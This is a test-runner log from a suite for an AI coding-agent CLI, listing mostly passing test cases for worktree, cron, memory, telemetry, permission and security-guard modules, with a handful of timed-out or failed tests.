✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > preserves the sidecar after keep so --resume can restore the worktree binding 4445ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > clears the sidecar after remove 3087ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > does not clear the sidecar when slug does not match 3634ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > is a no-op when no sidecar exists 1847ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > removes a re-attached worktree when the old marker owner is inactive 3240ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > removes a stale-owned worktree when launched from inside it without a sidecar 3139ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > refuses a re-attached remove when the marker owner runtime is active 2622ms
✓ ExitWorktreeTool — WorktreeSession sidecar cleanup > refuses a re-attached remove when the owner is active under a repo-subdir relative runtime dir 2541ms
✓ src/utils/abortController.test.ts (26 tests | 1 skipped) 1118ms
✓ createChildAbortController > does not accumulate listeners on a long-lived parent across many short-lived children 377ms
✓ src/utils/debugLogger.test.ts (31 tests) 1899ms
✓ src/utils/rateLimit.test.ts (35 tests) 575ms
✓ src/telemetry/daemon-metrics.test.ts (20 tests) 2655ms
✓ Daemon Metrics > initializeDaemonMetrics > creates counters and histograms 548ms
✓ src/agents/team/TeamManager.plan-approval.test.ts (11 tests) 1519ms
✓ TeamManager plan approval requests > rejects approval requests for unknown teammates 393ms
✓ src/tools/enter-worktree.test.ts (26 tests) 2825ms
✓ EnterWorktreeTool.execute > fails cleanly when cwd is not a git repository 1294ms
✓ session marker round-trip > write then read returns the same session id 516ms
✓ src/services/usage-dashboard-service.test.ts (9 tests) 1122ms
✓ loadUsageDashboard > today totals include a daemon / Web Shell transcript session, not just the persisted file 529ms
✓ src/hooks/functionHookRunner.test.ts (20 tests) 1039ms
✓ src/tools/askUserQuestion.test.ts (15 tests) 641ms
✓ src/core/__tests__/openaiTimeoutHandling.test.ts (12 tests) 1443ms
✓ OpenAIContentGenerator Timeout Handling > timeout error identification through actual requests > should handle various timeout error formats correctly 749ms
✓ src/permissions/classifier.test.ts (23 tests) 901ms
✓ src/extension/sourceRegistry.test.ts (23 tests) 784ms
✓ src/ide/ideContext.test.ts (23 tests) 710ms
✓ src/utils/generateContentResponseUtilities.test.ts (37 tests) 606ms
✓ src/services/visionBridge/tool-result-vision-bridge.test.ts (12 tests) 759ms
✓ src/utils/jsonl-utils.test.ts (29 tests) 1609ms
✓ read() / readLines() with malformed lines > reads a clean file unchanged 319ms
✓ src/tools/exit-worktree.test.ts (16 tests) 16564ms
✓ ExitWorktreeTool > confirmation type — round-7 AUTO_EDIT bypass guard > returns type 'exec' for action=remove (NOT auto-approved by AUTO_EDIT) 984ms
✓ ExitWorktreeTool > execute() — session ownership & lifecycle > refuses remove when the marker names a different session 2936ms
✓ ExitWorktreeTool > execute() — session ownership & lifecycle > keep returns success and leaves the worktree + branch intact 2568ms
✓ ExitWorktreeTool > execute() — session ownership & lifecycle > allows removal when the worktree predates the session-marker guard 3455ms
✓ ExitWorktreeTool > execute() — session ownership & lifecycle > returns an error result when the worktree directory is missing 920ms
✓ ExitWorktreeTool > execute() — session ownership & lifecycle > refuses removal when the worktree branch has unmerged commits 2998ms
✓ ExitWorktreeTool > execute() — session ownership & lifecycle > marker also written by writeWorktreeSessionMarker survives round-trip 2327ms
✓ src/utils/getFolderStructure.test.ts (17 tests) 1683ms
✓ getFolderStructure > should return basic folder structure 661ms
✓ src/core/openaiContentGenerator/openaiContentGenerator.test.ts (14 tests) 1070ms
✓ OpenAIContentGenerator (Refactored) > embedContent > should redact proxy credentials from embedding request errors 387ms
✓ src/utils/nextSpeakerChecker.test.ts (13 tests) 2751ms
✓ checkNextSpeaker > should return { next_speaker: 'model' } when model intends to continue 1464ms
✓ src/utils/request-tokenizer/textTokenizer.test.ts (36 tests) 1423ms
✓ TextTokenizer > calculateTokensBatch > should process large batches efficiently 749ms
✓ src/tools/task-update.test.ts (17 tests) 5161ms
✓ TaskUpdateTool > updates a task status 1949ms
✓ TaskUpdateTool > deletes a task with status "deleted" 439ms
✓ TaskUpdateTool > rejects an edge that closes a dependency cycle 357ms
✓ src/mcp/token-storage/keychain-token-storage.test.ts (24 tests) 7666ms
✓ KeychainTokenStorage > checkKeychainAvailability > should return true if keytar is available and functional 1230ms
✓ KeychainTokenStorage > checkKeychainAvailability > should return false if keytar fails to set password 319ms
✓ KeychainTokenStorage > with keychain unavailable > getCredentials should throw 459ms
✓ KeychainTokenStorage > with keychain available > setCredentials > should save credentials to keychain 318ms
✓ src/telemetry/gen-ai-exchange.test.ts (13 tests) 615ms
✓ src/services/sessionService.corruption.test.ts (13 tests) 779ms
✓ src/followup/followupState.test.ts (18 tests) 1106ms
✓ createFollowupController > sets suggestion after delay 325ms
✓ src/models/content-generator-config.test.ts (17 tests) 686ms
✓ src/core/openaiContentGenerator/pipeline.concurrent.test.ts (2 tests) 985ms
✓ ContentGenerationPipeline — concurrent streams (issue #3516) > two concurrent streams keep their tool-call buffers isolated 517ms
✓ ContentGenerationPipeline — concurrent streams (issue #3516) > an error in one stream does not poison a concurrent stream (no shared reset on error) 393ms
✓ src/tools/enterPlanMode.test.ts (21 tests) 1963ms
✓ EnterPlanModeTool > getDefaultPermission > should always return allow 1168ms
✓ src/permissions/classifier-prompts/system-prompt.test.ts (22 tests) 597ms
✓ src/agents/runtime/agent-statistics.test.ts (33 tests) 1223ms
✓ AgentStatistics > formatCompact > should format basic execution summary 574ms
✓ src/subagents/subagent-manager-override.test.ts (6 tests) 1013ms
✓ SubagentManager.buildSubagentContextOverride bound-tool isolation > returns a Config whose registry is distinct from the parent and binds Edit/Read to the override 632ms
✓ src/utils/ignorePatterns.test.ts (29 tests) 638ms
(node:72799) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 exit listeners added to [process]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
❯ src/config/config-session-env.test.ts (9 tests | 2 failed) 126453ms
× Config sessionEnvClaimed guard > first Config sets process.env QWEN_CODE_SESSION_ID to its sessionId 30547ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
× Config sessionEnvClaimed guard > subsequent Config does not overwrite the env var set by the first 30092ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ Config sessionEnvClaimed guard > startNewSession updates env var to the new session ID 10343ms
✓ Config modelEnvClaimed guard > first Config publishes its model to QWEN_CODE_MODEL 9149ms
✓ Config modelEnvClaimed guard > a later Config does not overwrite the claimed slot 9790ms
✓ Config modelEnvClaimed guard > only the claiming Config republishes on setModel 9417ms
✓ Config modelEnvClaimed guard > republishes on refreshAuth when the resolved model changes 9147ms
✓ Config modelEnvClaimed guard > registers each Config's model per session, so a daemon side-session reads its own 8765ms
✓ Config modelEnvClaimed guard > re-keys the per-session model registry on startNewSession 9129ms
✓ src/core/permissionFlow.test.ts (26 tests) 726ms
✓ src/memory/userMemory.test.ts (13 tests) 1365ms
✓ user-level auto-memory > paths > places user memory at {QWEN_CODE_MEMORY_BASE_DIR}/memories 342ms
✓ src/agents/team/test-utils/fake-agent.test.ts (28 tests) 660ms
✓ src/utils/request-tokenizer/imageTokenizer.test.ts (18 tests) 482ms
✓ src/permissions/dangerousRules.test.ts (110 tests) 966ms
✓ src/utils/github-prs.test.ts (23 tests) 822ms
✓ src/telemetry/daemon-tracing.test.ts (12 tests) 928ms
✓ src/telemetry/event-loop-lag.test.ts (16 tests) 1810ms
✓ startEventLoopLagMonitor > returns finite zeroes before the monitor has samples 411ms
✓ src/hooks/promptHookIntegration.test.ts (9 tests) 871ms
✓ Prompt Hook Integration > HookRunner with Prompt Hook > should execute prompt hook for PreToolUse event 312ms
✓ src/memory/team-memory-sync.test.ts (10 tests) 30476ms
✓ syncTeamMemory > commits local team memory and pushes it to the remote 4199ms
✓ syncTeamMemory > attributes the commit to opts.author when provided 3487ms
✓ syncTeamMemory > fast-forward-pulls team memory another collaborator pushed 3960ms
✓ syncTeamMemory > reconciles a second writer instead of diverging (commit lands on top) 5566ms
✓ syncTeamMemory > reports pull-failed (not silent) when the branch has truly diverged 4125ms
✓ syncTeamMemory > commits locally but skips push when there is no upstream 1119ms
✓ syncTeamMemory > skips cleanly on a detached HEAD instead of orphaning a commit 1706ms
✓ syncTeamMemory > unstages the team path when the commit fails (e.g. a failing hook) 2779ms
✓ syncTeamMemory > does not push commits the sync did not create (branch already ahead) 3341ms
✓ src/tools/read-mcp-resource.test.ts (15 tests) 2638ms
✓ ReadMcpResourceTool > reads an MCP resource and returns framed content parts 1484ms
✓ src/utils/yaml-parser.test.ts (38 tests) 2015ms
✓ yaml-parser > parse > should parse simple key-value pairs 482ms
✓ src/permissions/destructive-commands.test.ts (31 tests) 541ms
✓ src/mcp/token-storage/hybrid-token-storage.test.ts (13 tests) 955ms
❯ src/utils/shell-ast-parser-lazy.test.ts (5 tests | 3 failed) 102587ms
× shellAstParser lazy runtime > loads web-tree-sitter on first use and deduplicates initialization 30444ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
× shellAstParser lazy runtime > latches a language load failure 30063ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ shellAstParser lazy runtime > maps parser runtime exceptions without changing the legacy fallback 12656ms
✓ shellAstParser lazy runtime > releases each parsed tree exactly once 9235ms
× shellAstParser lazy runtime > keeps the packaged runtime deferred and parses from emitted chunks 20105ms
→ Test timed out in 20000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/services/memoryDiagnosticsDumper.test.ts (11 tests | 1 failed) 979ms
✓ MemoryDiagnosticsDumper > writes diagnostics JSON on first dump 355ms
✓ MemoryDiagnosticsDumper > respects per-session cap of 3 dumps 57ms
✓ MemoryDiagnosticsDumper > respects cooldown between dumps 26ms
✓ MemoryDiagnosticsDumper > resets state on new session 28ms
✓ MemoryDiagnosticsDumper > includes critical suggestion for critical pressure 18ms
✓ MemoryDiagnosticsDumper > writes Phase 1 synchronously before any await (survives crash during Phase 2) 16ms
✓ MemoryDiagnosticsDumper > reserves slot synchronously to prevent concurrent dumps from bypassing cap 61ms
✓ MemoryDiagnosticsDumper > handles missing geminiClient gracefully 26ms
✓ MemoryDiagnosticsDumper > Phase 1 uses last ring sample for memoryUsage instead of calling process.memoryUsage() 31ms
× MemoryDiagnosticsDumper > Phase 1 falls back to process.memoryUsage() when no samples provided 275ms
→ expected 0 to be greater than 0
✓ MemoryDiagnosticsDumper > includes recentSamples in both Phase 1 and Phase 2 payloads 23ms
✓ src/utils/binary-content.test.ts (73 tests) 818ms
✓ src/permissions/denialTracking.test.ts (34 tests) 513ms
✓ src/followup/suggestionGenerator.test.ts (22 tests) 684ms
✓ src/agents/runtime/agent-context.test.ts (22 tests) 485ms
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'evil')
✓ src/services/gitWorktreeService.linked.integ.test.ts (9 tests) 10172ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > returns false for the repository primary working tree 1794ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > returns true for a linked worktree created via `git worktree add` 1249ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > returns false for a main tree whose .git is a FILE (separate-git-dir) 794ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > matches a registered worktree through a symlinked input path 1206ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > returns false for a fake worktree carrying a copied .git file (not registered) 1104ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > returns false for a fabricated .git chain that names itself (not in the repo registry) 1338ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > returns false for a stale registry record whose path was recreated as a plain directory 1170ms
✓ GitWorktreeService.isRegisteredLinkedWorktree() (real git) > is not fooled by a worktree path containing a newline that fakes a registry entry 1309ms
✓ src/agents/backends/iterm-it2.test.ts (19 tests) 730ms
✓ src/utils/errors.test.ts (41 tests) 1100ms
✓ getErrorMessage cause unwrapping > uses plain object code when JSON stringification fails 326ms
✓ src/utils/filesearch/ignore.test.ts (21 tests) 1497ms
✓ src/extension/extension-runtime-refresh.test.ts (9 tests) 772ms
✓ src/services/worktreeSessionService.test.ts (19 tests) 1572ms
✓ writeWorktreeSession > writes a readable JSON file 365ms
✓ src/utils/filesearch/fzfWorkerHandle.test.ts (13 tests) 6938ms
✓ FzfWorkerHandle > worker transport (real worker_threads) > spawn → init → find → dispose lifecycle 1311ms
✓ FzfWorkerHandle > worker transport (real worker_threads) > find() rejects after dispose() 864ms
✓ FzfWorkerHandle > worker transport (real worker_threads) > respects the limit parameter across IPC 1123ms
✓ FzfWorkerHandle > worker transport (real worker_threads) > rejects pending find() when worker crashes unexpectedly 740ms
✓ FzfWorkerHandle > worker transport (real worker_threads) > rejects subsequent find() calls after worker crash 726ms
✓ FzfWorkerHandle > worker transport (real worker_threads) > handles concurrent find() calls 856ms
✓ src/utils/errorParsing.test.ts (25 tests) 388ms
✓ src/agents/runtime/workflow-stall.test.ts (24 tests) 824ms
✓ src/tools/modifiable-tool.test.ts (11 tests) 1097ms
✓ modifyWithEditor > successful modification > should successfully modify content with VSCode editor 481ms
✓ src/core/openaiContentGenerator/taggedThinkingParser.test.ts (27 tests) 445ms
✓ src/skills/skill-curator.rollback.test.ts (5 tests) 3318ms
✓ auto-skill curator rollback > rolls back an archive move when persisting state fails 1272ms
✓ auto-skill curator rollback > rolls back every archive move when persisting state fails 656ms
✓ auto-skill curator rollback > continues rolling back after an archive rollback fails 752ms
✓ auto-skill curator rollback > escalates when a restore move cannot be rolled back 303ms
✓ src/tools/agent/fork-subagent.test.ts (21 tests) 515ms
✓ src/memory/indexer.test.ts (8 tests) 1467ms
✓ managed auto-memory indexer > formats a compact file-based MEMORY.md index view 607ms
✓ src/tools/loop-wakeup.test.ts (19 tests) 3111ms
✓ LoopWakeupTool > uses ask permission because it schedules future model input 1142ms
✓ LoopWakeupTool > tells the model to re-arm to keep the loop alive 440ms
✓ src/tools/toAutoClassifierInput.test.ts (14 tests) 412ms
✓ src/tools/record-artifact.test.ts (15 tests) 4284ms
✓ RecordArtifactTool > records a link artifact without touching the resource 1387ms
✓ RecordArtifactTool > rejects invalid artifact sizes before reporting success 648ms
✓ RecordArtifactTool > rejects unsafe display markup before reporting success 320ms
✓ src/confirmation-bus/message-bus.test.ts (15 tests) 719ms
✓ src/memory/dreamAgentPlanner.test.ts (10 tests) 3322ms
✓ dreamAgentPlanner > returns project-scoped session transcript directory 406ms
✓ dreamAgentPlanner > returns the forked agent result 306ms
✓ dreamAgentPlanner > can read transcripts while keeping writes project-memory-only 1795ms
✓ src/subagents/agent-frontmatter-schema.test.ts (26 tests) 437ms
✓ src/services/fileReadCache.integration.test.ts (3 tests) 2588ms
✓ FileReadCache integration: read after history rewrite > returns the file_unchanged placeholder on a follow-up Read after microcompact, exposing why the cache must be cleared on history rewrite 2273ms
✓ src/telemetry/resource-attributes.test.ts (35 tests) 814ms
✓ src/tools/agent/fork-profile.test.ts (35 tests) 2149ms
✓ fork profiles > loads a valid project profile with an optional prompt hint 818ms
✓ src/memory/team-index.test.ts (10 tests) 1323ms
✓ rebuildTeamAutoMemoryIndex > generates the index from saved files and writes MEMORY.md 500ms
✓ src/output/json-formatter.test.ts (15 tests) 427ms
✓ src/services/image-payload-references.test.ts (12 tests) 532ms
✓ src/tools/create-sub-session.test.ts (14 tests) 3042ms
✓ CreateSubSessionTool > defaults to ask permission so delegated prompts face classifier review 1233ms
✓ CreateSubSessionTool > rejects a prompt over the character limit before reaching the spawner 477ms
✓ src/utils/quotaErrorDetection.test.ts (29 tests) 384ms
✓ src/utils/cronParser.test.ts (31 tests) 928ms
✓ src/core/modalityDefaults.test.ts (45 tests) 722ms
✓ src/telemetry/detailed-span-attributes.test.ts (22 tests) 676ms
✓ src/tools/computer-use/bootstrap.test.ts (13 tests) 1263ms
✓ runBootstrap > starts the proxy directly when already granted (no panes opened) 383ms
✓ src/tools/image-gen.test.ts (8 tests) 3229ms
✓ ImageGenTool > persists a workspace image artifact and returns it to an image-capable model 2199ms
✓ ImageGenTool > returns only the saved path to a text-only primary model 369ms
✓ src/utils/terminalSerializer.test.ts (20 tests) 2203ms
✓ terminalSerializer > serializeTerminalToObject > should handle an empty terminal 590ms
✓ src/tools/artifact/oss-publisher.test.ts (16 tests) 1019ms
✓ src/tools/mcp-retry.test.ts (38 tests) 2237ms
✓ retryWithBackoff > retries up to maxRetries and then throws 715ms
✓ src/utils/runtimeStatus.test.ts (19 tests) 1441ms
✓ writeRuntimeStatus > writes the expected fields 419ms
✓ src/telemetry/gen-ai-request.test.ts (23 tests) 479ms
✓ src/services/fileDiscoveryService.test.ts (15 tests) 1581ms
✓ FileDiscoveryService > initialization > should initialize git ignore parser by default in a git repo 516ms
✓ src/tools/mcp-pool-key.test.ts (24 tests) 538ms
✓ src/services/runtimeSampleRing.test.ts (10 tests) 632ms
✓ src/goals/goal-verifier.test.ts (13 tests) 771ms
✓ src/agents/workflow-snapshot.test.ts (10 tests) 1814ms
✓ writeWorkflowSnapshot + listWorkflowSnapshots > prunes the oldest beyond MAX_RETAINED_SNAPSHOTS, journal dirs too 699ms
✓ writeWorkflowSnapshot + listWorkflowSnapshots > does not recursively delete via a crafted snapshot filename (path traversal) 373ms
✓ src/services/chatRecordingService.parentSession.test.ts (8 tests) 782ms
✓ src/services/cronTasksLock.test.ts (15 tests) 1189ms
✓ src/agents/team/test-utils/fake-backend.test.ts (18 tests) 747ms
✓ src/goals/goalLoop.integration.test.ts (2 tests) 473ms
✓ /goal Stop hook integration > drives a not-met → met loop and emits an achieved terminal event 387ms
✓ src/memory/learn-skill-agent.test.ts (36 tests) 1178ms
✓ buildLearnSkillPrompt > includes the raw input 348ms
✓ src/memory/channel-memory-document.test.ts (24 tests) 873ms
✓ src/hooks/urlValidator.test.ts (25 tests) 607ms
✓ src/utils/envVarResolver.test.ts (16 tests) 534ms
✓ src/tools/tools.test.ts (13 tests) 474ms
✓ src/tools/cron-list.test.ts (10 tests) 3293ms
✓ CronListTool > returns empty message when no jobs or wakeups 1336ms
✓ CronListTool > lists pending wakeups 346ms
✓ CronListTool > lists durable jobs from the tasks file without the scheduler loading them 538ms
✓ src/followup/speculationToolGate.test.ts (32 tests) 2602ms
✓ speculationToolGate > SHELL > allows read-only shell commands 1105ms
✓ speculationToolGate > rewritePathArgs > rewrites file_path argument 317ms
✓ src/utils/retryPolicy.test.ts (20 tests) 540ms
✓ src/tools/mcp-workspace-budget.test.ts (17 tests) 588ms
✓ src/memory/team-paths.test.ts (10 tests) 617ms
✓ src/memory/relevanceSelector.test.ts (9 tests) 710ms
✓ selectRelevantAutoMemoryDocumentsByModel > returns documents chosen by the side-query selector 308ms
✓ src/services/tokenEstimation.test.ts (18 tests) 322ms
✓ src/utils/qwenIgnoreParser.test.ts (12 tests) 1277ms
✓ QwenIgnoreParser > when .qwenignore exists > should ignore files specified in .qwenignore 683ms
✓ src/utils/request-tokenizer/requestTokenizer.test.ts (11 tests) 381ms
✓ src/memory/refresh.test.ts (7 tests) 948ms
✓ managed memory refresh helper > detects successful private managed-memory writes only 346ms
✓ src/hooks/ssrfGuard.test.ts (27 tests) 660ms
✓ src/utils/filesearch/crawlCache.test.ts (13 tests) 1439ms
✓ CrawlCache > in-memory cache operations > should enforce MAX_TOTAL_PATHS when updating an existing key with a large array 364ms
✓ src/memory/memoryLifecycle.integration.test.ts (1 test) 1271ms
✓ managed auto-memory lifecycle integration > supports a durable memory lifecycle across extraction, recall, and dream 1191ms
✓ src/tools/client-mcp-registrar.test.ts (5 tests) 1298ms
✓ ClientMcpRegistrar reverse channel > round-trips initialize / tools/list / tools/call through SdkControlClientTransport 1082ms
✓ src/utils/subagentGenerator.test.ts (9 tests) 1888ms
✓ subagentGenerator > should successfully generate content with valid LLM response 1263ms
✓ src/utils/modelId.test.ts (25 tests) 478ms
✓ src/telemetry/trace-context.test.ts (18 tests) 348ms
✓ src/tools/diffOptions.test.ts (16 tests) 488ms
✓ src/utils/gitUtils.test.ts (11 tests) 638ms
✓ src/tools/shell.backgroundStatus.test.ts (3 tests) 5698ms
✓ background shell status sidecar (integration, real spawn) > reports running (with pid) while a quiet child keeps the output file empty, then completed 4279ms
✓ background shell status sidecar (integration, real spawn) > reports failed with the exit reason for a non-zero exit 1025ms
✓ src/utils/contextLengthError.test.ts (30 tests) 538ms
✓ src/core/turn-interruption.test.ts (15 tests) 395ms
✓ src/mcp/token-storage/base-token-storage.test.ts (14 tests) 537ms
✓ src/config/config.workflow-registration.test.ts (6 tests) 1479ms
✓ WorkflowTool registration > is NOT registered when isWorkflowsEnabled() is false 1255ms
[warn] Corrupt extension state file /tmp/ext-prefs-rNWZwu/nested/extension-preferences.json moved aside to /tmp/ext-prefs-rNWZwu/nested/extension-preferences.json.corrupted
✓ src/extension/extensionPreferences.test.ts (11 tests) 824ms
✓ src/utils/runtimeDiagnostics.test.ts (4 tests) 389ms
✓ src/core/openaiContentGenerator/provider/zai.test.ts (11 tests) 773ms
✓ src/extension/gemini-converter.test.ts (11 tests) 456ms
✓ src/tools/mcp-resource-content.test.ts (13 tests) 565ms
✓ src/utils/safeJsonStringify.test.ts (17 tests) 384ms
✓ src/tools/team-create.test.ts (11 tests) 4109ms
✓ TeamCreateTool > creates a team and sets manager on config 1420ms
✓ TeamCreateTool > reclaims a team stranded by a dead session 1369ms
✓ src/telemetry/gen-ai-provider.test.ts (61 tests) 545ms
✓ src/utils/editHelper.test.ts (17 tests) 337ms
✓ src/tools/computer-use/constants.test.ts (20 tests) 444ms
✓ src/memory/recall.test.ts (6 tests) 448ms
✓ src/hooks/detectTodoChanges.test.ts (12 tests) 400ms
✓ src/hooks/envInterpolator.test.ts (30 tests) 737ms
✓ src/followup/overlayFs.test.ts (15 tests) 1126ms
✓ OverlayFs > redirectWrite > copies existing file to overlay on first write 369ms
✓ src/memory/pending-skills.test.ts (11 tests) 1100ms
✓ pendingSkills > moves auto-skill dirs out of skills root into pending root 448ms
✓ src/tools/cron-create.test.ts (13 tests) 10557ms
✓ CronCreateTool > creates a recurring job by default 1399ms
✓ CronCreateTool > creates a durable job and writes to disk 722ms
✓ CronCreateTool > rejects a cron that never matches a real date 7186ms
✓ src/goals/goal-persistence.test.ts (13 tests) 428ms
✓ src/agents/runtime/subagent-plan-tool-policy.test.ts (6 tests) 430ms
✓ src/providers/__tests__/presets/alibaba-token-plan.test.ts (4 tests) 334ms
✓ src/models/reproduce-401.test.ts (3 tests) 485ms
✓ src/core/goal-turn-integration.test.ts (3 tests) 761ms
✓ Goal turn evidence propagation > forwards a defensive permit through Turn and attaches it to tool requests 367ms
✓ src/hooks/registerSkillHooks.test.ts (7 tests) 338ms
✓ src/agents/runtime/workflow-budget.test.ts (20 tests) 532ms
✓ src/followup/smoke.test.ts (21 tests) 754ms
✓ SMOKE TESTS — E2E Verification > Smoke 2: OverlayFs full round-trip > write → read overlay → apply → verify real file 309ms
✓ src/tools/artifact/html.test.ts (38 tests) 482ms
✓ src/tools/display-image.test.ts (7 tests) 2259ms
✓ DisplayImageTool > returns a small structured display without image bytes 1602ms
✓ src/providers/__tests__/presets/custom-provider.test.ts (11 tests) 465ms
✓ src/tools/artifact/host-publisher.test.ts (17 tests) 989ms
✓ src/utils/runtimeStatus.config.test.ts (4 tests) 1335ms
✓ Config.startNewSession runtime.json swap > leaves sibling sidecars alone when this process did not bootstrap one 880ms
✓ src/utils/transcript-records.test.ts (9 tests) 561ms
Error: Unsupported mode "midnight". Use "light" or "dark".
✓ src/skills/bundled/dataviz/scripts/validate_palette.test.js (19 tests) 7078ms
✓ validate_palette > accepts --mode before the palette in CLI usage 1415ms
✓ validate_palette > accepts --mode=value in CLI usage 1282ms
✓ validate_palette > rejects --mode without a value in CLI usage 1301ms
✓ validate_palette > treats invalid CLI modes as usage errors 1235ms
✓ validate_palette > prints validation failure details to stderr 1291ms
✓ src/subagents/builtin-agents.test.ts (12 tests) 472ms
✓ src/core/anthropicContentGenerator/usage.test.ts (10 tests) 294ms
✓ src/config/config.workflows.test.ts (4 tests) 662ms
✓ Config workflows feature gate > defaults to disabled 476ms
✓ src/utils/errorReporting.test.ts (8 tests) 780ms
✓ src/mcp/sa-impersonation-provider.test.ts (8 tests) 589ms
✓ src/ide/ide-installer.test.ts (10 tests) 574ms
✓ src/core/openaiContentGenerator/provider/mimo.test.ts (9 tests) 537ms
✓ src/tools/team-plan-approval.test.ts (9 tests) 521ms
✓ src/utils/tool-utils.test.ts (20 tests) 263ms
✓ src/tools/task-create.test.ts (9 tests) 3081ms
✓ TaskCreateTool > creates a task with real file I/O 1438ms
✓ TaskCreateTool > accepts optional metadata 664ms
✓ src/hooks/types.test.ts (15 tests) 420ms
✓ src/utils/runtime-fetch-options.no-proxy.test.ts (3 tests) 3025ms
✓ shared proxy dispatcher NO_PROXY behavior > bypasses the explicit proxy when NO_PROXY matches the target 1696ms
✓ shared proxy dispatcher NO_PROXY behavior > still routes through the proxy when NO_PROXY does not match the target 1066ms
✓ src/tools/computer-use/downloader.test.ts (7 tests) 1102ms
✓ ensureInstalled on Windows (.zip extraction) > downloads + verifies + unzips, resolving cua-driver.exe under the wrapper dir 601ms
✓ src/tools/skill-utils.test.ts (9 tests) 743ms
✓ src/extension/i18n.test.ts (16 tests) 296ms
✓ src/agents/runtime/workflow-journal.test.ts (14 tests) 1035ms
✓ WorkflowJournal > append then load round-trips entries 630ms
✓ src/ide/process-utils.test.ts (6 tests) 335ms
✓ src/utils/proxyUtils.test.ts (23 tests) 479ms
✓ src/skills/skill-manager.read-model.test.ts (3 tests) 3272ms
✓ workspace skills read model (real filesystem) > serves repeated cached reads without any filesystem work 1955ms
✓ workspace skills read model (real filesystem) > still picks up on-disk changes through an explicit refresh 1094ms
✓ src/utils/textUtils.test.ts (25 tests) 404ms
✓ src/memory/secret-scanner.test.ts (29 tests) 3425ms
✓ scanForSecrets > handles many unmatched private-key markers without a match 2854ms
✓ src/utils/cronDisplay.test.ts (7 tests) 450ms
✓ src/resources/resource-registry.test.ts (11 tests) 725ms
✓ ResourceRegistry > registerResource > should NOT collide when two servers advertise the same uri 384ms
✓ src/utils/safeJsonParse.test.ts (14 tests) 464ms
✓ src/skills/bundled/loop/SKILL.test.ts (7 tests) 945ms
✓ bundled loop skill > allows both cron tools and the loop wakeup primitive 583ms
✓ src/core/message-display-buffer.test.ts (9 tests) 335ms
✓ src/tools/enter-worktree.session.integ.test.ts (2 tests) 8211ms
✓ EnterWorktreeTool — WorktreeSession sidecar > writes a WorktreeSession sidecar with all fields after creating worktree 4063ms
✓ EnterWorktreeTool — WorktreeSession sidecar > overwrites a previous sidecar when entering a new worktree in the same session 4056ms
✓ src/core/tool-invocation-guard.test.ts (11 tests) 486ms
✓ src/core/toolCallIdUtils.test.ts (6 tests) 291ms
✓ src/providers/__tests__/presets/alibaba-standard.test.ts (8 tests) 487ms
✓ src/ide/detect-ide.test.ts (14 tests) 479ms
✓ src/memory/scan.test.ts (4 tests) 803ms
✓ auto-memory topic scanning > parses a CRLF (Windows checkout) topic document 387ms
✓ src/core/openaiContentGenerator/provider/minimax.test.ts (9 tests) 267ms
✓ src/tools/mcp-discovery-timeout.test.ts (14 tests) 654ms
✓ src/utils/concurrencyLimiter.test.ts (8 tests) 532ms
✓ src/extension/override.test.ts (16 tests) 345ms
✓ src/prompts/prompt-registry.test.ts (11 tests) 748ms
✓ PromptRegistry > getAllPrompts > should return all prompts sorted by name 348ms
✓ src/agents/team/identity.test.ts (15 tests) 382ms
✓ src/utils/projectPath.test.ts (12 tests) 463ms
✓ src/extension/settings.test.ts (10 tests) 410ms
✓ src/core/loggingContentGenerator/streamContentDetection.test.ts (16 tests) 269ms
✓ src/tools/grepReadTracking.test.ts (7 tests) 689ms
✓ src/utils/conversation-chain.test.ts (8 tests) 402ms
✓ src/services/generatedFiles.test.ts (11 tests) 331ms
✓ src/utils/thoughtUtils.test.ts (15 tests) 226ms
✓ src/extension/zip-extraction.test.ts (3 tests) 621ms
✓ extractZipArchive > rejects entries that escape the destination 370ms
✓ src/services/visionBridge/image-part-utils.test.ts (18 tests) 412ms
✓ src/skills/skill-curator.reread.test.ts (1 test) 1204ms
✓ auto-skill curator archive re-read guard > downgrades to stale instead of archiving when the re-read is fresher 1135ms
✓ src/tools/cron-delete.test.ts (7 tests) 2979ms
✓ CronDeleteTool > deletes an existing job 1267ms
✓ CronDeleteTool > deletes a durable job that exists only on disk 919ms
✓ src/utils/configResolver.test.ts (12 tests) 321ms
✓ src/hooks/trustedHooks.test.ts (5 tests) 323ms
✓ src/telemetry/file-exporters.test.ts (3 tests) 507ms
✓ src/core/session-recovery.test.ts (4 tests) 455ms
✓ src/core/openaiContentGenerator/provider/mistral.test.ts (4 tests) 449ms
✓ Mistral provider outbound compatibility filtering > strips reasoning_content from outgoing requests for api.mistral.ai without mutating the source history 301ms
✓ src/mcp/configHash.test.ts (15 tests) 353ms
✓ src/agents/arena/diff-summary.test.ts (8 tests) 327ms
✓ src/services/gitWorktreeService.hooks.integ.test.ts (3 tests) 6773ms
✓ GitWorktreeService.createUserWorktree() — hooksPath setup > points core.hooksPath at .husky when present 2999ms
